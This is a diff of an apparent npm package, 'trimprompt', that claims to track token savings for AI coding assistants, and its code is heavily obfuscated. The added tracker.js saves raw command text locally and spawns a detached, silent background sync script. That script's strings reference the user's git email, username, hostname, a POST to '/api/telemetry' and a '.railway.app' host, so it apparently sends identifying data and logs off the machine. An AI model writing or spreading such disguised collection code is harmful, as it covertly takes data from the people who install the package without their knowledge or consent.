Date(),_0x21125a=new Date(_0x13f0b1[_0x53282f(0x108)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x52349e=[],_0x22eba9=[];for(const _0xbb35cc of _0x2f345f){const _0x44bafb=new Date(_0xbb35cc[_0x53282f(0x133)]);_0x44bafb>=_0x21125a?_0x52349e[_0x53282f(0x115)](_0xbb35cc):_0x22eba9[_0x53282f(0x115)](_0xbb35cc);}if(_0x22eba9['length']>0x0){const _0x3d8d12=path[_0x53282f(0x155)](baseDir,_0x53282f(0x151));for(const _0x215c67 of _0x22eba9){const _0x1d0b65=path[_0x53282f(0x155)](_0x3d8d12,_0x215c67['id']+'.raw.txt'),_0x3a97c5=path[_0x53282f(0x155)](_0x3d8d12,_0x215c67['id']+_0x53282f(0x12f));try{if(fs[_0x53282f(0x12c)](_0x1d0b65))fs[_0x53282f(0x12b)](_0x1d0b65);if(fs[_0x53282f(0x12c)](_0x3a97c5))fs[_0x53282f(0x12b)](_0x3a97c5);}catch{}}fs[_0x53282f(0x159)](statsPath,JSON[_0x53282f(0x114)](_0x52349e,null,0x2),_0x53282f(0x156));}}catch{}}runSync()[a0_0x18b7d1(0x14f)](()=>{});function a0_0x5ba7(_0x4f6e67,_0x598137){_0x4f6e67=_0x4f6e67-0x107;const _0x1805ef=a0_0x1805();let _0x5ba7d4=_0x1805ef[_0x4f6e67];return _0x5ba7d4;}function a0_0x1805(){const _0x4c9df5=['search','estimated_compressed_tokens','getTime','4875507MwbtHc','5710481ktIvcN','parse','ignore','toString','Claude\x203.5\x20Sonnet','path','config.json','Gemini\x201.5\x20Pro','POST','.railway.app','stringify','push','default','username','child_process','create','protocol','defineProperty','split','destroy','userInfo','write','GPT-4o\x20Mini','tokens_saved','application/json','pipe','url','estimated_raw_tokens','synced','getOwnPropertyDescriptor','__setModuleDefault','length','error','unlinkSync','existsSync','747yigIuY','telemetry_url','.comp.txt','add','18750128SamiXo','.trimprompt','timestamp','hasOwnProperty','__importStar','configurable','get','call','daily_sync.json','6122742PPvXSo','startsWith','8480285NBCoKq','timeout','hostname','GPT-4o','__esModule','request','2166aNzVQL','git\x20config\x20user.email','includes','model_used','getOwnPropertyNames','toISOString','trim','/api/telemetry','URL','toFixed','pathname','readFileSync','prototype','catch','statusCode','logs','https:','2970708sHxwfl','https','join','utf8','from','writable','writeFileSync'];a0_0x1805=function(){return _0x4c9df5;};return a0_0x1805();}
|
package/tracker.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';const a0_0x5b6d33=a0_0x32aa;(function(_0x19510e,_0x370ad0){const _0x11d7b0=a0_0x32aa,_0x1a7c5c=_0x19510e();while(!![]){try{const _0x3b573f=-parseInt(_0x11d7b0(0x18e))/0x1*(parseInt(_0x11d7b0(0x185))/0x2)+-parseInt(_0x11d7b0(0x18f))/0x3+parseInt(_0x11d7b0(0x195))/0x4+-parseInt(_0x11d7b0(0x1c8))/0x5*(parseInt(_0x11d7b0(0x1ac))/0x6)+-parseInt(_0x11d7b0(0x18b))/0x7+-parseInt(_0x11d7b0(0x1db))/0x8*(parseInt(_0x11d7b0(0x199))/0x9)+-parseInt(_0x11d7b0(0x187))/0xa*(-parseInt(_0x11d7b0(0x1e0))/0xb);if(_0x3b573f===_0x370ad0)break;else _0x1a7c5c['push'](_0x1a7c5c['shift']());}catch(_0x378d35){_0x1a7c5c['push'](_0x1a7c5c['shift']());}}}(a0_0x4982,0x688b0));var __createBinding=this&&this[a0_0x5b6d33(0x1c5)]||(Object[a0_0x5b6d33(0x19b)]?function(_0x16ed71,_0x5b6e0c,_0x44c9f3,_0x5f2b99){const _0x334d2e=a0_0x5b6d33;if(_0x5f2b99===undefined)_0x5f2b99=_0x44c9f3;var _0x5ecdcb=Object[_0x334d2e(0x1ad)](_0x5b6e0c,_0x44c9f3);(!_0x5ecdcb||(_0x334d2e(0x1d0)in _0x5ecdcb?!_0x5b6e0c[_0x334d2e(0x1ae)]:_0x5ecdcb['writable']||_0x5ecdcb[_0x334d2e(0x1d5)]))&&(_0x5ecdcb={'enumerable':!![],'get':function(){return _0x5b6e0c[_0x44c9f3];}}),Object[_0x334d2e(0x1b5)](_0x16ed71,_0x5f2b99,_0x5ecdcb);}:function(_0x9063df,_0x4d5721,_0x327adb,_0x44cfc1){if(_0x44cfc1===undefined)_0x44cfc1=_0x327adb;_0x9063df[_0x44cfc1]=_0x4d5721[_0x327adb];}),__setModuleDefault=this&&this[a0_0x5b6d33(0x1e6)]||(Object[a0_0x5b6d33(0x19b)]?function(_0x733fd7,_0x1e8fed){const _0x1ed4f3=a0_0x5b6d33;Object[_0x1ed4f3(0x1b5)](_0x733fd7,_0x1ed4f3(0x194),{'enumerable':!![],'value':_0x1e8fed});}:function(_0x144d62,_0x2cd58e){_0x144d62['default']=_0x2cd58e;}),__importStar=this&&this['__importStar']||(function(){var _0x3f31b4=function(_0x58abc2){const _0x505d97=a0_0x32aa;return _0x3f31b4=Object[_0x505d97(0x1a9)]||function(_0x457eb8){const _0x534f6d=_0x505d97;var _0x23c6de=[];for(var _0x5b8fac in _0x457eb8)if(Object[_0x534f6d(0x19f)][_0x534f6d(0x1bb)][_0x534f6d(0x1be)](_0x457eb8,_0x5b8fac))_0x23c6de[_0x23c6de['length']]=_0x5b8fac;return _0x23c6de;},_0x3f31b4(_0x58abc2);};return function(_0x562ebc){const _0x466981=a0_0x32aa;if(_0x562ebc&&_0x562ebc['__esModule'])return _0x562ebc;var _0x3c49d9={};if(_0x562ebc!=null){for(var _0xcf691e=_0x3f31b4(_0x562ebc),_0xb54f3b=0x0;_0xb54f3b<_0xcf691e[_0x466981(0x1d2)];_0xb54f3b++)if(_0xcf691e[_0xb54f3b]!==_0x466981(0x194))__createBinding(_0x3c49d9,_0x562ebc,_0xcf691e[_0xb54f3b]);}return __setModuleDefault(_0x3c49d9,_0x562ebc),_0x3c49d9;};}());Object['defineProperty'](exports,a0_0x5b6d33(0x1ae),{'value':!![]}),exports['tracker']=exports['Tracker']=exports[a0_0x5b6d33(0x1c2)]=void 0x0;function a0_0x32aa(_0x4d6605,_0x4ccec4){_0x4d6605=_0x4d6605-0x182;const _0x498261=a0_0x4982();let _0x32aadf=_0x498261[_0x4d6605];return _0x32aadf;}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5b6d33(0x1dd))),os=__importStar(require('os')),child_process_1=require(a0_0x5b6d33(0x1df));exports[a0_0x5b6d33(0x1c2)]={'claude-fable-5':{'name':'Claude\x20Fable\x205','input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x5b6d33(0x1ce),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x5b6d33(0x196),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x5b6d33(0x1c6),'input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x5b6d33(0x1d9),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':'Claude\x20Sonnet\x204.5','input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x5b6d33(0x1e1),'input_price_1m':0x3},'claude-haiku-4-5':{'name':'Claude\x20Haiku\x204.5','input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x5b6d33(0x1c4),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x5b6d33(0x1c9),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x5b6d33(0x1b0),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x5b6d33(0x18a),'input_price_1m':2.5},'gpt-5-4-mini':{'name':'GPT-5.4\x20Mini','input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x5b6d33(0x189),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x5b6d33(0x1cf),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x5b6d33(0x1a1),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x5b6d33(0x19d),'input_price_1m':0.15},'o1':{'name':a0_0x5b6d33(0x1d1),'input_price_1m':0xf},'o1-mini':{'name':a0_0x5b6d33(0x1cb),'input_price_1m':0x3},'o3-mini':{'name':a0_0x5b6d33(0x192),'input_price_1m':1.1},'cursor-small':{'name':a0_0x5b6d33(0x19e),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x5b6d33(0x198),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x5b6d33(0x1cd),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x5b6d33(0x1a7),'input_price_1m':3.5}};function a0_0x4982(){const _0x5b59a6=['estimated_raw_tokens','GPT-5.4','config.json','execPath','.comp.txt','unref','defineProperty','init','logExecution','name','trim','setConfig','hasOwnProperty','toString','ceil','call','telemetry_url','baseDir','readFileSync','PRICING','Tracker','Claude\x20Haiku\x203.5','__createBinding','Claude\x20Opus\x204.7','unknown','5Gcsaix','GPT-5.5','.raw.txt','OpenAI\x20o1-mini','split','Gemini\x203.1\x20Flash-Lite','Claude\x20Mythos\x205','GPT-4.1\x20Mini','get','OpenAI\x20o1','length','default_model','random','configurable','existsSync','input_price_1m','stringify','Claude\x20Opus\x204.1\x20(deprecated)','logsDir','8oKREen','claude-opus-4-8','path','parse','child_process','13002lMRPHC','Claude\x203.5\x20Sonnet','gemini-3-1-pro','getLogs','saveConfig','tokens_saved','__setModuleDefault','claude-3-5-sonnet','logs','sync.js','substring','2nEMzJj','ignore','19330jcdXOE','stats.json','GPT-5.4\x20Nano','GPT-4o','4978666DcgWPF','push','auto','461451VsrCit','1379433NlFpxP','utf8','model_used','OpenAI\x20o3-mini','saveLogs','default','554972QJXZfb','Claude\x20Opus\x204.8','writeFileSync','Gemini\x203.5\x20Flash','2957580fPbjjf','spawn','create','configPath','GPT-4o\x20Mini','Cursor\x20Small','prototype','triggerBackgroundSync','GPT-4.1\x20Nano','statsPath','tracker','toFixed','join','homedir','Gemini\x203.5\x20Live\x20Translate','config','getOwnPropertyNames','estimated_compressed_tokens','getConfig','205326HjQIII','getOwnPropertyDescriptor','__esModule'];a0_0x4982=function(){return _0x5b59a6;};return a0_0x4982();}class Tracker{[a0_0x5b6d33(0x1c0)];['configPath'];[a0_0x5b6d33(0x1a2)];[a0_0x5b6d33(0x1da)];[a0_0x5b6d33(0x1a8)];constructor(){const _0x419aff=a0_0x5b6d33;this['baseDir']=path['join'](os[_0x419aff(0x1a6)](),'.trimprompt'),this[_0x419aff(0x19c)]=path[_0x419aff(0x1a5)](this['baseDir'],_0x419aff(0x1b1)),this[_0x419aff(0x1a2)]=path[_0x419aff(0x1a5)](this['baseDir'],_0x419aff(0x188)),this[_0x419aff(0x1da)]=path['join'](this[_0x419aff(0x1c0)],_0x419aff(0x182)),this['init']();}[a0_0x5b6d33(0x1b6)](){const _0x4e674d=a0_0x5b6d33;!fs[_0x4e674d(0x1d6)](this[_0x4e674d(0x1c0)])&&fs['mkdirSync'](this[_0x4e674d(0x1c0)],{'recursive':!![]});!fs['existsSync'](this[_0x4e674d(0x1da)])&&fs['mkdirSync'](this[_0x4e674d(0x1da)],{'recursive':!![]});const _0x58be2e={'version':'1.0','telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x4e674d(0x1dc)};if(fs[_0x4e674d(0x1d6)](this[_0x4e674d(0x19c)]))try{const _0x868ef7=fs[_0x4e674d(0x1c1)](this['configPath'],'utf8');this['config']={..._0x58be2e,...JSON['parse'](_0x868ef7)};}catch(_0x29d591){this['config']=_0x58be2e;}else this[_0x4e674d(0x1a8)]=_0x58be2e,this[_0x4e674d(0x1e4)]();!fs[_0x4e674d(0x1d6)](this[_0x4e674d(0x1a2)])&&fs[_0x4e674d(0x197)](this[_0x4e674d(0x1a2)],JSON[_0x4e674d(0x1d8)]([]),'utf8');}['getConfig'](){const _0x49987a=a0_0x5b6d33;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x49987a(0x1a8)][_0x49987a(0x1bf)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x49987a(0x1a8)];}[a0_0x5b6d33(0x1ba)](_0x83e78d,_0x454f41){const _0x1f1d9b=a0_0x5b6d33;this[_0x1f1d9b(0x1a8)][_0x83e78d]=_0x454f41,this['saveConfig']();}[a0_0x5b6d33(0x1e4)](){const _0x34317a=a0_0x5b6d33;fs[_0x34317a(0x197)](this[_0x34317a(0x19c)],JSON['stringify'](this['config'],null,0x2),'utf8');}[a0_0x5b6d33(0x1e3)](){const _0x31c746=a0_0x5b6d33;try{if(!fs['existsSync'](this[_0x31c746(0x1a2)]))return[];const _0x3013ca=fs[_0x31c746(0x1c1)](this[_0x31c746(0x1a2)],_0x31c746(0x190));return JSON[_0x31c746(0x1de)](_0x3013ca);}catch{return[];}}[a0_0x5b6d33(0x193)](_0x44e511){const _0x4e999c=a0_0x5b6d33;fs['writeFileSync'](this['statsPath'],JSON[_0x4e999c(0x1d8)](_0x44e511,null,0x2),'utf8');}[a0_0x5b6d33(0x1b7)](_0x2b8c3e,_0x240b69,_0x5e7457,_0x3f6f2a){const _0x460671=a0_0x5b6d33,_0x4fbceb=this['getLogs'](),_0x3229b8=_0x240b69[_0x460671(0x1d2)],_0x249992=_0x5e7457['length'],_0x1c7424=Math[_0x460671(0x1bd)](_0x3229b8/0x4),_0x144b1d=Math[_0x460671(0x1bd)](_0x249992/0x4),_0x2fd30f=Math['max'](0x0,_0x1c7424-_0x144b1d);let _0x13b408=_0x460671(0x1e7);if(process.env.TRIMPROMPT_MODEL&&exports['PRICING'][process.env.TRIMPROMPT_MODEL])_0x13b408=process.env.TRIMPROMPT_MODEL;else{if(process.env.CLAUDECODE==='1'||process.env.CLAUDE_CODE==='1')_0x13b408=_0x460671(0x1e7);else{if(process.env.CURSOR_VERSION)_0x13b408=_0x460671(0x1e7);else{if(process.env.ANTIGRAVITY_AGENT==='1')_0x13b408=_0x460671(0x1e2);else{const _0x591c55=this['getConfig']()[_0x460671(0x1d3)];_0x591c55&&exports[_0x460671(0x1c2)][_0x591c55]&&(_0x13b408=_0x591c55);}}}}const _0x457904=Math[_0x460671(0x1d4)]()[_0x460671(0x1bc)](0x24)[_0x460671(0x184)](0x2,0xb);try{fs[_0x460671(0x197)](path[_0x460671(0x1a5)](this[_0x460671(0x1da)],_0x457904+_0x460671(0x1ca)),_0x240b69,_0x460671(0x190)),fs[_0x460671(0x197)](path[_0x460671(0x1a5)](this[_0x460671(0x1da)],_0x457904+_0x460671(0x1b3)),_0x5e7457,_0x460671(0x190));}catch{}const _0x51c058={'id':_0x457904,'timestamp':new Date()['toISOString'](),'command':_0x2b8c3e[_0x460671(0x1cc)]('\x20')[0x0]||_0x460671(0x1c7),'raw_chars':_0x3229b8,'compressed_chars':_0x249992,'estimated_raw_tokens':_0x1c7424,'estimated_compressed_tokens':_0x144b1d,'tokens_saved':_0x2fd30f,'model_used':_0x13b408,'exit_code':_0x3f6f2a,'synced':![]};_0x4fbceb[_0x460671(0x18c)](_0x51c058),this[_0x460671(0x193)](_0x4fbceb);const _0x49e4ae=this[_0x460671(0x1ab)]()[_0x460671(0x1bf)];return _0x49e4ae&&_0x49e4ae[_0x460671(0x1b9)]()['length']>0x0&&this['triggerBackgroundSync'](),_0x51c058;}[a0_0x5b6d33(0x1a0)](){const _0x441b1a=a0_0x5b6d33;try{const _0x2f1433=path[_0x441b1a(0x1a5)](__dirname,_0x441b1a(0x183));if(fs[_0x441b1a(0x1d6)](_0x2f1433)){const _0xf2b7ee=(0x0,child_process_1[_0x441b1a(0x19a)])(process[_0x441b1a(0x1b2)],[_0x2f1433],{'detached':!![],'stdio':_0x441b1a(0x186)});_0xf2b7ee[_0x441b1a(0x1b4)]();}}catch{}}['getStatsSummary'](_0x3e6c6f=a0_0x5b6d33(0x18d)){const _0x52e408=a0_0x5b6d33,_0x2927ec=this['getLogs']();let _0x58bd25=0x0,_0x45543f=0x0,_0x1cb23c=0x0;for(const _0x1ef58c of _0x2927ec){_0x58bd25+=_0x1ef58c[_0x52e408(0x1af)],_0x45543f+=_0x1ef58c[_0x52e408(0x1aa)],_0x1cb23c+=_0x1ef58c[_0x52e408(0x1e5)];}let _0x7ece0f=_0x3e6c6f;(!_0x7ece0f||_0x7ece0f===_0x52e408(0x18d)||!exports[_0x52e408(0x1c2)][_0x7ece0f])&&(_0x2927ec[_0x52e408(0x1d2)]>0x0&&_0x2927ec[_0x2927ec[_0x52e408(0x1d2)]-0x1][_0x52e408(0x191)]?_0x7ece0f=_0x2927ec[_0x2927ec[_0x52e408(0x1d2)]-0x1][_0x52e408(0x191)]:_0x7ece0f=this['getConfig']()['default_model']||'claude-3-5-sonnet');const _0x411523=exports[_0x52e408(0x1c2)][_0x7ece0f]||exports[_0x52e408(0x1c2)][_0x52e408(0x1e7)],_0x508473=_0x1cb23c*_0x411523[_0x52e408(0x1d7)]/0xf4240,_0x3d754d=_0x58bd25*_0x411523[_0x52e408(0x1d7)]/0xf4240,_0x20da2c=_0x45543f*_0x411523['input_price_1m']/0xf4240,_0x21a063=_0x58bd25>0x0?_0x1cb23c/_0x58bd25*0x64:0x0;return{'total_raw_tokens':_0x58bd25,'total_compressed_tokens':_0x45543f,'total_tokens_saved':_0x1cb23c,'savings_percentage':parseFloat(_0x21a063[_0x52e408(0x1a4)](0x1)),'money_saved_usd':parseFloat(_0x508473[_0x52e408(0x1a4)](0x4)),'raw_cost_usd':parseFloat(_0x3d754d[_0x52e408(0x1a4)](0x4)),'compressed_cost_usd':parseFloat(_0x20da2c[_0x52e408(0x1a4)](0x4)),'model_name':_0x411523[_0x52e408(0x1b8)],'model_key':_0x7ece0f};}}exports[a0_0x5b6d33(0x1c3)]=Tracker,exports[a0_0x5b6d33(0x1a3)]=new Tracker();
|